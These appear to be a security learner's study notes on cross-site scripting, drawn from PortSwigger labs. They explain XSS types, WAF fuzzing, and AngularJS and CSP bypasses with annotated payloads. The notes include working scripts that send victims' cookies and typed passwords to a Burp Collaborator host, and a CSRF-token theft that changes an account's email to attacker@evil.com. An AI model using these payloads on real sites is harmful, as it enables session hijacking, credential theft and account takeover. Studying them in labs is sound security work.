XSS notes

Eyad Islam El-Taher

Friday, October 3, 2025

Introduction

Cross Site Scripting (XSS) $\Longrightarrow$ is a vulnerability that lets an attacker control some content of a web application (even the users of the web)

XSS vulnerabilities happen when

A web application uses unfiltered user input to build output content

XSS vulnerabilities happen where

In this kind of attacks user input is any parameter coming from the client side of the web application

- Cookies
- form inputs
- Request header
- Post parameters
- Get parameters

How XSS vulnerabilities effect on users

- Making their browser loading malicious content
- Performing operations on their behalf, like buying a product or changing a password
- Stealing their session cookies, thus being able to impersonate them on the vulnerable site

XSS main types:

The three main types of Cross-Site Scripting (XSS) are **Stored XSS**, **Reflected XSS**, and **DOM-Based XSS**. Stored XSS involves malicious scripts permanently stored on a server and then displayed to users. Reflected XSS occurs when an application reflects an attacker's script from a user's request back to their browser, often via a crafted link. DOM-Based XSS occurs when the vulnerability is in the client-side code that manipulates the Document Object Model (DOM), leading to the execution of the payload within the browser.

1. Stored (Persistent) XSS

Description: Malicious scripts are injected into a website's stored data (e.g., a database, forum post, user profile, photo, or comment field). When other users access this data, the script is served to their browser, executed as part of the legitimate HTML, and affects all visitors to that page.

Example: An attacker posts a comment on a blog containing the script below. When another user views the post, their browser executes the script, popping up an alert box.

1: Stored XSS example: malicious comment

```
<script>alert('XSS Attack!')</script>
```

2. Reflected XSS

Description: An attacker crafts a malicious URL or link that includes a script as a parameter. When a victim clicks this link or submits a specially crafted form, the application reflects the script in its response, which is then executed in the victim's browser.

Example: A website's search function displays "Search results for: [user input]" without proper escaping. An attacker can create a link like the one below. Clicking it sends the script to the server, which includes it in the response, and the script runs in the user's browser.

2: Reflected XSS example: crafted search URL

```
https://insecure-website.com/search?term=<script>alert('XSS')</script>
```

3. DOM-Based XSS

Description: This type of XSS is a client-side vulnerability where the malicious script is executed due to a flaw in the way the browser or client-side JavaScript processes dynamic content. The attack happens entirely within the browser, without necessarily sending the payload to the server.

Example: A webpage uses JavaScript to read a user's location from the URL's `context=` parameter (e.g., `document.URL.indexOf("context=")`), takes the text after it, and uses `document.write` to insert it into the HTML. An attacker could create a URL like the one below to execute the script.

3: DOM-Based XSS example: URL with payload in fragment

```
https://example.com/page#context=<script>alert('DOM XSS')</script>
```

SOURCE VS SINK:

Source ⟹ any place JavaScript reads attacker-controllable data from (URL, hash, window.name, storage, postMessage, form fields, etc.)
Sink ⟹ any point that uses that data in a way that can become code/HTML/attributes — where an attacker string becomes executable or changes page structure (innerHTML, document.write, eval, setAttribute, insertAdjacentHTML, location = 'javascript:...', etc.).
DOM XSS happens when a tainted source flows into a dangerous sink without proper sanitization.

XSS uploading a malicious SVG file

Scalable Vector Graphic (SVG) ⟹ is a unique type of image format. Unlike other varieties, SVGs don't rely on unique pixels to make up the images you see. Instead, they use 'vector' data. SVG files are written in XML, a markup language used for storing and transferring digital information. What some people don't know is that SVG files are capable of holding javascript using regular <script> tags and browsers will parse and execute the code when the file URL is requested directly, examples below:

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics
/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" >
    <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke=
    "#004400"/>
    <script type="text/javascript">
        alert(document.domain);
    </script>
 </svg>
```

or you can simply download a svg file with payload form github or any site

XSS via Swagger-UI

Swagger UI $\Longrightarrow$ is a really common library used to display API specifications in a nice-looking UI used by almost every company, Swagger UI versions affected with the XSS are **from 3.14.1 to 3.37.0** because they are using an outdated version of the library DOMPurify.

Many Swagger UI instances let the page load an OpenAPI/Swagger JSON or YAML from a URL passed in the query string like

```
https://attacker.example.com/Swagger?
```

all you need to do is adding a payload as a query parameter so the URL be like

```
https://attacker.example.com/Swagger?config=payload
https://attacker.example.com/Swagger?configUrl=payload
https://attacker.example.com/Swagger?url=payload
```

you can get the payload from github repos and it's something like

```
https://jumpy-floor.surge.sh/test.json
https://jumpy-floor.surge.sh/test.yaml
```

Angular-js DOM XSS

Angular JS scans the DOM for ng-app (or other directives) and compile nodes that contains interpolations $\Longrightarrow$ {{ }}
userInput $\Longrightarrow$ reflected into an Angular-compiled node $\Longrightarrow$ Angular evaluate it $\Longrightarrow$ JS code run
you can try just {{1+1}} if the output is 2 so you have Angular js DOM XSS
try Angular-js DOM XSS payloads like

```
{{$on.constructor ('alert('xss')')()}}
{{constructor.constructor ('alert('xss')')()}}
```

My Methodology

1. go to entry point and write a very unique string like Eyaduitto
2. do view page source and Figure out how this site deals with my string
3. try to know how the WAF behalf by entering

   ```
   <Eyaduitto> "Eyad`uitto'
   ```

4. from the previous info now i can find a way to the vulnerability

---

tag and attribute fuzzing

1. Quick Reconnaissance

   ```
   <!-- Test if basic XSS is blocked -->
   <script>alert(1)</script>
   img src=x onerror=alert(1)>
   <svg onload=alert(1)>
   ```

   Observation: If all get blocked, proceed to tag/attribute fuzzing.

2. Send the request to Burp Intruder and try to fuzz the tag first like

   ```
   GET /?search=$s$ HTTP/1.1
   ```

3. Visit the XSS cheat sheet and click "Copy tags to clipboard" and load them to the Intruder then launch the attack
4. for example we found that WAF do not block <body> so now we have to fuzz the events too
5. Visit the XSS cheat sheet and click "Copy events to clipboard" and load them to the Intruder then launch the attack but for

```
GET /?search=%3Cbody+$s$%3E HTTP/1.1
```

Exploiting cross-site scripting examples explainging

Using Burp Suite Collaborator to Steal Cookies

1. Using Burp Suite Professional, go to the **Collaborator tab**
2. Click "`Copy to clipboard`" to copy a unique Burp Collaborator payload to your clipboard
3. Submit the following payload in a blog comment, inserting your Burp Collaborator subdomain where indicated:

```
<script> fetch('https://BURP-COLLABORATOR-SUBDOMAIN',
{ method: 'POST', mode: 'no-cors', body: document.cookie }); </script>
```

4. This script will make anyone who views the comment issue a POST request containing their cookie to your subdomain on the public Collaborator server
5. Go back to the Collaborator tab, and click "`Poll now`". You should see an HTTP interaction. If you don't see any interactions listed, wait a few seconds and try again
6. Reload the main blog page, using Burp Proxy or Burp Repeater to replace your own session cookie with the one you captured in Burp Collaborator

How This Attack Works:

- The malicious script executes in the victim's browser when they view the compromised page
- `fetch()` API sends an HTTP POST request to the attacker-controlled Collaborator server
- `document.cookie` contains the victim's session cookies
- `mode: 'no-cors'` allows the request to be sent despite cross-origin restrictions

Using Burp Suite Collaborator to Steal Login Credentials

1. Using Burp Suite Professional, go to the **Collaborator tab**
2. Click "`Copy to clipboard`" to copy a unique Burp Collaborator payload to your clipboard
3. Submit the following payload in a blog comment, inserting your Burp Collaborator subdomain where indicated:

```
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)
fetch('https://BURP-COLLABORATOR-SUBDOMAIN',
{ method:'POST', mode: 'no-cors', body:username.value+':'+this.value });">
```

4. This script will make anyone who views the comment issue a POST request containing their username and password to your subdomain of the public Collaborator server
5. Go back to the Collaborator tab, and click "`Poll now`". You should see an HTTP interaction. If you don't see any interactions listed, wait a few seconds and try again

How This Attack Works:

- Creates fake username and password input fields on the vulnerable page
- The `onchange` event triggers when the user types their password
- `if(this.value.length)` ensures the request is only sent when password field has content
- Combines username and password with a colon separator in the POST body
- Sends the credentials to the attacker's Collaborator server in real-time
- Attacker can then use the stolen credentials to authenticate as the victim

Exploiting XSS Vulnerabilities Using XSS.report website

XSS.report automatically verifies if submitted payloads successfully execute, providing immediate confirmation of vulnerability validity without manual testing.

```
Exploitation Workflow:

  Discover potential XSS vector in target application

  Use payload from XSS.report or craft one using them

  When a user trigger the vuln his data is send to xss report
  in the dashboard
```

NOTES

- when a server installs a cookie into a client with the http-only attribute –> the client will set the http-only flag for that cookie ⟹ this prevent JavaScript, flash, java and other non NON HTML technology from reading the cookie ⟹ preventing cookie stealing via XSS

- it's possible that the site has an xss but the WAF blocks the important keywords like alert, confirm, write, prompt and other

---

- WAF can block the execution of command like alert without block the word itself from getting to the server

---

- if you found your unique string in the view-source like that

```
<h2 id="pageName">search for Eyaduitto</h2>
```

then you need to close the h2 tag first then write the rest of your payload, so final payload will be like

```
</h2> <svg /onload=alert()>
```

so the view-source will be like

```
<h2 id="pageName">search for </h2>
<svg /onload=alert()> <!-- </h2>
```

now there is h2 tag and svg tag and commented close tag

- if the Content Type header is "Content-Type: image/svg+xml; charset=us-ascii" then the website is likely vulnerable to XSS via SVG file

- if the WAF blocks < and > do not try to force using them Instead if it is inside "Input field" try a payload with an attribute like this

```
" onmouseover="alert('XSS')"
```

- JavaScript in anchor href if executable $\Longrightarrow$ Which means any link whose href starts with javascript: is not a normal URL $\Longrightarrow$ So when a user click on the link the browser will interpret the rest of the href as JavaScript code

```
href="javascript:alert("XSS")"
```

- you may need to use JavaScript single-line comment $\Longrightarrow$ //

- you may need to use encoding like HTML Encoding or URL Encoding and maybe multi layer encoding

---

- Identifying jQuery code within a web application can be done through several methods

  1. Dollar Sign $ as a Function: jQuery heavily utilizes the dollar sign $ as an alias for the jQuery() function. Look for code snippets where $ is used as a function call like $('.myClass').hide();, $('#myId'). While $ can be used by other libraries, its frequent and consistent use in DOM manipulation and event handling is a strong indicator of jQuery.
  2. jQuery-Specific Methods: Identify methods like .ajax(), .animate(), .fadeIn(), .slideToggle(), .each(), .css(), .attr(), which are characteristic of jQuery's API.

- if you have string then your payload in executable spot like eval () something like that

```
eval('{"results": "' + userInput + '"}');
```

  so your payload must have an operator like - + |

```
"-alert(1)}//
```

  After processing, the code might look like:

```
{"results": ""-alert(1)}//"}
```

  "" (empty string) gets converted to number 0 , alert() returns undefined and The unary minus tries to do: 0 - undefined but at the end This results in NaN (Not a Number), but the alert already executed

---

- the iframe tag is so powerful in real world exploitations

- some payloads you have to but it in the url directly not the searchbox like

```
<xss id="x" onfocus=alert(Document.cookie) tabindex=1>#x
```

  the searchbox will encode the #x so it will not trigger the element with the id="x" so we put it directly in the URL

- **Canonical Link**
  It is an HTML element that tells search engines which version of a URL is the "master" or "preferred" version when you have multiple URLs showing the same or very similar content, you will find it in the Head section of the html and the Syntax like

```
<link rel="canonical" href="https://example.com/preferred-page" />
```

canonical link ⟹ tells search engines to treat 'https://example.com/preferred-page?xyz' as a duplicate of 'https://example.com/preferred-page' for indexing and ranking purposes, but users will still see the original URL with query parameters in their browser.
So if you have URL: "https://store.com/shoes?color=red&size=10"
and the Canonical: "https://store.com/shoes"
this will happen:
User sees: https://store.com/shoes?color=red&size=10
Google indexes: https://store.com/shoes as the main version
SEO value goes to: https://store.com/shoes

- **Payload Explaining**
  for this script inside index.html with angle brackets and double quotes HTML-encoded and single quotes escaped

```
</section>
   var searchTerms = '';
   document.write('<img src="/resources/images/tracker.gif?searchTerms=
   '+encodeURIComponent(searchTerms)+'">');
</section>
```

the payloads worked

```
\'-alert(1)//  or  \'&alert(1)//  or  \'|alert(1)//  or  \'+alert(1)//
```

Why It Worked:
The backslash \ before the quote `\'` becomes `\\'` This means just backslash + quote ⟹ `\'`
When encodeURIComponent(searchTerms) processes `\';alert()//` ⟹ It becomes: `%5C';alert()//` where `%5C` is the URL-encoded backslash
Now Final document.write() Output is

```
document.write('<img src="/resources/images/tracker.gif?
searchTerms=%5C';alert()//">');
```

Which renders as HTML:

```
<img src="/resources/images/tracker.gif?searchTerms=\';alert()//">
```

The browser sees this HTML and the single quote ' in the URL then Closes the src attribute at searchTerms= and XSS trigger by The remaining `';alert()//"`

- **Payload Explaining**

  the payload ⟹ `http://foo?&apos;-alert(1)-&apos;`

  Why It Worked: The payload exploits HTML entity decoding and JavaScript type coercion:

```
Original Input: http://foo?&apos;-alert(1)-'
After HTML Decoding: http://foo?'-alert(1)-'
```

Original JavaScript Context:

```
tracker.track('http://foo?&apos;-alert(1)-'')
```

After HTML Decoding:

```
tracker.track('http://foo?'-alert(1)-'')
```

JavaScript Interpretation:

```
'http://foo?' - alert(1) - ''
```

Execution Mechanism:

- The - operator triggers JavaScript type conversion
- JavaScript attempts to convert all operands to numbers
- During conversion, `alert(1)` executes immediately
- The expression `- ''` completes the mathematical operation cleanly
- Results in `NaN` without breaking the script

- **Backticks in JS**

```
<script> var message = `5 search results for ''`;
document.getElementById('searchMessage').innerText = message; </script>
```

Vulnerability Analysis:

- User input is inserted into JavaScript **template literals** (backticks)
- The website performs **Unicode escape encoding** on special characters
- Output uses `innerText` which prevents HTML injection but allows JavaScript context breaking

Payload Strategy:

```
${alert(1)}
```

Why This Works: Template literals (backticks) support **expression interpolation** with `${}` After injection:

```
var message = 5 search results for '${alert(1)}';
```

The expression `${alert(1)}` executes immediately when the template literal is evaluated.

- **CSRF Token Theft + Account Takeover via XSS**
In portswigger lab number 24 for xss

  - **XSS Vulnerability**: Found in blog comments
  - **CSRF Protection**: Email change function requires token
  - **Flaw**: CSRF token accessible via XSS

- **The Attack Flow**

Step 1: Steal the CSRF Token

```
// Fetch user's account page
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();

// Extract CSRF token from HTML
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
```

Step 2: Use Token to Change Email

```
// Make authorized request with stolen token
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=attacker@evil.com')
};
</script>
```

- **Why This Works**

  CSRF Protection Bypass

  - **Normal CSRF Protection**: Stops cross-site requests without token
  - **XSS Bypass**: Script runs in same origin → can read token from page
  - **Result**: Malicious request appears legitimate

- **Remember** CSRF tokens protect against cross-site requests, but XSS can steal them to make authorized malicious requests from the same site.

- ## Complex Sandbox Bypass Example:

```
/?search=1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:
toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
```

Payload Breakdown

1. String Prototype Pollution

```
toString().constructor.prototype.charAt=[].join
```

- `toString().constructor` $\implies$ `String` constructor function
- Overrides `String.prototype.charAt` with `Array.prototype.join`
- **Impact**: Breaks Angular's sandbox by modifying core string functions

2. Character Code Obfuscation

```
fromCharCode(120,61,97,108,101,114,116,40,49,41)
```

- Decodes to: `"x=alert(1)"`
- **Purpose**: Bypasses WAF detection using ASCII encoding
- Character mapping: 120=x, 61==, 97=a, 108=l, 101=e, 114=r, 116=t, 40=(, 49=1, 41=)

3. OrderBy Filter Exploitation

```
[1]|orderBy:toString().constructor.fromCharCode(...)
```

- Uses Angular's `orderBy` filter to execute JavaScript
- `toString().constructor` $\implies$ `String` constructor $\implies$ `eval` equivalent
- Executes: `x=alert(1)` when the filter processes the array

- **Why toString().constructor?**

```
toString().constructor = String constructor
String.constructor = Function constructor (code execution!)
```

- **Why [1]|orderBy:?**

```
// orderBy can evaluate Angular expressions
[1] | orderBy:'someExpression'
```

- **Combining Both: The Exploit**

```
[1] | orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,
116,40,49,41)
```

1. toString().constructor = String constructor
2. String.fromCharCode(...) = Decodes to "x=alert(1)"
3. orderBy processes this as JavaScript code
4. Result: alert(1) executes

- ## AngularJS DOM XSS Exploit Analysis

Payload Breakdown

```
location='https://YOUR-LAB-ID.web-security-academy.net/?
search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27
(z=alert)(document.cookie)%27%3E#x';
```

URL Decoded Version

```
?search=<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)
(document.cookie)'>#x
```

Payload Analysis

1. Input Element Creation

```
<input id=x ng-focus=...>
```

- Creates input field with ID `x`
- Uses Angular directive `ng-focus` (triggers on focus)
- **Bypasses CSP** by using Angular events instead of inline scripts

2. Hash Fragment: `#x`

```
#x
```

- Focuses element with `id="x"`
- Triggers `ng-focus` event automatically

3. $event Object Reference

```
$event
```

- **AngularJS variable** referencing the DOM event object
- Provides access to event properties and methods

4. composedPath() Method

```
$event.composedPath()
// Returns: [input#x, body, html, document, window]
```

- **Chrome-specific property** (formerly `$event.path`)
- Returns array of elements in **event propagation path**
- **Last element** = **window object** - Critical for the exploit!

The Filter Chain Exploit

`| orderBy` Filter Operation

```
// Normally: array | orderBy:expression
[1,2,3] | orderBy:'property'

// Exploit: event path | orderBy:malicious code
$event.composedPath() | orderBy:'(z=alert)(document.cookie)'
```

Why This Bypasses Angular Security

```
// Angular's window check blocks:
orderBy:'window.alert(1)'  // BLOCKED - explicit window reference

// But this bypasses:
orderBy:'(z=alert)(1)'     // WORKS - no explicit window reference
```

Execution Flow Analysis

Step 1: Event Path Array

```
$event.composedPath() = [input, body, html, document, window]
```

Step 2: orderBy Processing

- orderBy iterates through each element in path
- When it reaches **window object** (last element):
- orderBy evaluates '(z=alert)(document.cookie)' in window context

Step 3: Code Execution

```
(z=alert)(document.cookie)
// Breakdown:
z = alert;            // alert is window.alert (implicit)
z(document.cookie);   // Executes in window scope
```

What if event handlers and href attributes blocked

Try SVG Animation XSS Payload

Payload Structure

```
<svg>
  <a>
    <animate attributeName=href values=javascript:alert(1) />
    <text x=20 y=20>Click me</text>
  </a>
</svg>
```

Component Breakdown

1. SVG Container

```
<svg>
```

- Creates SVG namespace context
- Often allowed through HTML filters that block regular scripts

2. Anchor Element Inside SVG

```
<a>
```

- Creates clickable link within SVG
- SVG <a> elements behave like HTML links but with different parsing rules

3. Animate Element (The Exploit)

```
<animate attributeName=href values=javascript:alert(1) />
```

– `<animate>`: SVG animation element
– `attributeName=href`: Targets the href attribute of parent `<a>` element
– `values=javascript:alert(1)`: Sets the href to `javascript:alert(1)`
– Dynamically changes the link to execute JavaScript when clicked

4. Text Element

```
<text x=20 y=20>Click me</text>
```

– Creates visible text "Click me" at position (20,20)
– Makes the exploit user-triggered (requires click)

Execution Mechanism

Step-by-Step Process:

1. **Page loads** with SVG containing the malicious animation
2. **Animation immediately runs** and sets the `<a>` href to `javascript:alert(1)`
3. **User sees** "Click me" text
4. **User clicks** the link
5. `alert(1)` executes in browser context

URL Injection Payload Analysis

Original Vulnerable Code

```
<a href="javascript:fetch('/analytics', {
    method:'post',
    body:'/post%3fpostId%3d4'
}).finally(_ => window.location = '/')">Back to Blog</a>
```

Working Payload

```
&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'
```

Payload Component Breakdown

1. Break Out of String Context

```
&'},
```

– `&` - Parameter separator
– `'` - Closes the single quote in `body:'...'`
– `},` - Closes the fetch options object

Result after injection:

```
body:'/post?postId=4&'},[PAYLOAD CONTINUES...]
```

2. Function Definition & Override

```
x=x=>{throw/**/onerror=alert,1337},toString=x,
```

- `x=x=>{...}` - Creates arrow function assigned to x
- `throw/**/onerror=alert,1337` - Key execution trick
- `toString=x` - Overrides toString method with malicious function
  Now anyObject.toString() will call our function instead of the native one

3. Trigger Execution

```
window+'',
```

- `window+''` - Forces string conversion of window object
- Triggers `window.toString()` calling malicious function
- Result: `alert(1337)` executes

4. Clean Up Syntax

```
,{x:'
```

- `{x:'` - Starts new object to fix syntax
- Keeps JavaScript valid after injection

Complete Execution Flow

After Injection:

```
javascript:fetch('/analytics', {
    method:'post',
    body:'/post?postId=4&'},x=x=>{throw/**/onerror=alert,1337},
    toString=x,window+'',{x:''
}).finally(_ => window.location = '/')
```

Why /**/ is Used

Purpose: Bypass Space Filtering

```
// Without comment - might be blocked:
throw onerror=alert,1337

// With comment - bypasses filters:
throw/**/onerror=alert,1337
```

What It Achieves:

- Some WAFs block spaces between keywords
- `/**/` acts as a space substitute

---

client-side validation bypass

1. **Enabling a Disabled Button Using Developer Tools** $\Longrightarrow$ Remove the disabled attribute from the button element.
2. **Changing form input type** $\Longrightarrow$ ex. from email to text
3. **Changing form maxlength**
4. **remove or change form pattern**

NOTE Change the payload to foo@example.com"><img src= onerror=alert(1)>, embedding it within a valid email format. This makes the input appear legitimate in order to bypass client-side validation.

Attack Flow

Bypass client-side validation ⟹ Inject malicious button ⟹ Redirect form to external server ⟹ Capture CSRF token ⟹ Use token to change email

A payload to Redirect form to external server and Capture CSRF token

```
                       <!-- By inject a button -->
https://vulnWebSite.net/my-account?email=test@test"><button formaction=
"https://BURP-COLLABORATOR-SUBDOMAIN.net" formmethod="get">Click</button>
```

The idea: CSP blocked scripts but allowed form redirection & Server-side sanitization escaped scripts but allowed safe HTML

What is CSP?

Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks. It allows website owners to control which resources the browser is allowed to load.

0.1 How CSP Works

0.1.1 Basic Concept

CSP works by telling browsers:

- **What's allowed**: Which sources are trusted for different types of content
- **What's blocked**: Everything else gets blocked automatically

0.1.2 The CSP Header

Websites send CSP rules via HTTP headers:

```
Content-Security-Policy: default-src 'self';
                         script-src 'self' https://trusted.cdn.com
```

1 Common CSP Directives

1.1 Resource Directives

```
script-src     # Controls JavaScript sources
style-src      # Controls CSS sources
img-src        # Controls image sources
font-src       # Controls font sources
connect-src    # Controls AJAX/WebSocket connections
media-src      # Controls video/audio sources
frame-src      # Controls frame/iframe sources
```

1.2 Special Values

```
'self'            # Allow from same origin
'none'            # Block everything
'unsafe-inline'   # Allow inline scripts/styles (DANGEROUS)
'unsafe-eval'     # Allow eval() (DANGEROUS)
https:            # Allow from any HTTPS source
data:             # Allow data: URLs
```

2 CSP in Action - Examples

2.1 Example 1: Strict Policy

```
Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
```

What this allows:

- Scripts from same domain only
- Styles from same domain + inline styles
- Images from same domain, data URLs, and any HTTPS source
- Everything else blocked

3 Why CSP is Important

3.1 Without CSP

```
<!-- Attacker can inject malicious scripts -->
<script>stealCookies();</script>
<img src="x" onerror="maliciousCode()">
```

3.2 With CSP

```
Content-Security-Policy: script-src 'self'
```

- Inline scripts blocked
- Event handlers blocked
- External scripts from untrusted sources blocked
- Only scripts from same origin allowed

4 CSP Violations - What Happens

4.1 Browser Behavior

1. **Detects violation** - Resource doesn't match policy
2. **Blocks resource** - Doesn't load/execute
3. **Reports violation** - Sends report to specified endpoint

4.2 Example Violation

If policy is `script-src 'self'` but page tries:

```
<script src="https://evil.com/hack.js"></script>
```

Browser blocks it and reports:

```
{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "violated-directive": "script-src",
    "blocked-uri": "https://evil.com/hack.js"
  }
}
```

5 Implementing CSP

5.1 Method 1: HTTP Header (Recommended)

```
Content-Security-Policy: default-src 'self'; script-src 'self'
```

5.2 Method 2: HTML Meta Tag

```
<meta http-equiv="Content-Security-Policy"
      content="default-src␣'self';␣script-src␣'self'">
```

---

6 CSP Injection Attack -> XSS attack

6.1 The Scenario

This is a **CSP Injection Attack** where we can inject our own Content Security Policy directives into the website's security header.

7 Step-by-Step Attack Breakdown

7.1 Step 1: Initial Testing

What we do:

```
<img src=1 onerror=alert(1)>
```

What happens:

- The payload gets reflected in the page (you can see it in the HTML)
- But the script doesn't execute
- **Why?** CSP is blocking it!

7.2 Step 2: Investigate the CSP

What we discover:

- Look at the HTTP response headers
- There's a `Content-Security-Policy` header
- It contains a `report-uri` directive with a `token` parameter

Example of what the CSP might look like:

```
Content-Security-Policy: default-src 'self'; script-src 'self';
 report-uri /csp-report?token=abc123
```

7.3 Step 3: The Vulnerability

Key insight: The `token` parameter value is included directly in the CSP header, and we can control it through the URL!

This means if we visit:

```
https://site.com?token=OUR_INJECTION
```

The CSP becomes:

```
Content-Security-Policy: ... report-uri /csp-report?token=OUR_INJECTION
```

7.4 Step 4: Crafting the Exploit

The attack URL:

```
https://site.com/?
search=<script>alert(1)</script>
&token=;script-src-elem 'unsafe-inline'
```

Let's break this down:

Part 1: The search parameter

- `search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E`
- This is URL-encoded for: `<script>alert(1)</script>`
- This is our XSS payload that will execute

Part 2: The injection

- `token=;script-src-elem 'unsafe-inline'`
- The semicolon `;` ends the current directive
- Then we add our own CSP directive

8 How the Injection Works

8.1 Before Injection

Original CSP:

```
Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  report-uri /csp-report?token=default_value
```

8.2 After Injection

Modified CSP:

```
Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  report-uri /csp-report?token=;script-src-elem 'unsafe-inline'
```

The browser sees this as:

- `report-uri /csp-report?token=` (incomplete but harmless)
- `script-src-elem 'unsafe-inline'` (NEW DIRECTIVE WE ADDED)

8.3 The Chain of Events

1. **We inject** our CSP directive allowing inline scripts
2. **The page reflects** our `<script>alert(1)</script>` payload
3. **Browser checks CSP** - sees inline scripts are now allowed
4. **Script executes** - alert box pops up!

9 Summary

Key Takeaway

This attack demonstrates a critical vulnerability: **when you can control the CSP, you control what scripts can run**. By injecting a directive that allows inline scripts, we bypassed all of CSP's XSS protection and could execute arbitrary JavaScript.